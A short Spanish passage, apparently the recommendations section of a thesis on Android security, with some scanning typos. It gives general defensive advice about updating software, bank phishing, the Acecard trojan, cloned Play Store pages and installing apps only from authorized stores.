Se recomienda a los usuarios de los dispositivos méviles de ANDROID, que
mantengan actualizados el software, para tener un dispositivo mas seguro y
evitar posibles ataques.

Se debe fomentar una cultura de seguridad dirigida a todos los usuarios de
ANDROID, teniendo en cuenta las principales vulnerabilidades como son el
Phising Bancario, Inyeccion basada en HTLM5 vy la inyeccion basada en el
troyano Acecard, para evitar incidentes en las transacciones bancarias.

Si llegan correos electrénicos de dudosa procedencia no abrirlos, ya que pueden
ser links que llevan a una pagina clonada como puede ser el caso de la
PLAYSTORE y con ello ser victimas de un atacante.

Para los desarrolladores, recomiendo realizar todo su cdodigo al disefiar una
aplicacion ya que asi va a tener conocimiento al 100% y por ende sabra a
plenitud como contrarrestar alguna vulnerabilidad mavil.

Se recomienda no instalar aplicaciones desde tiendas no autorizadas y verificar
la procedencia de aplicativos existentes en tiendas autorizadas como la

PlayStore.
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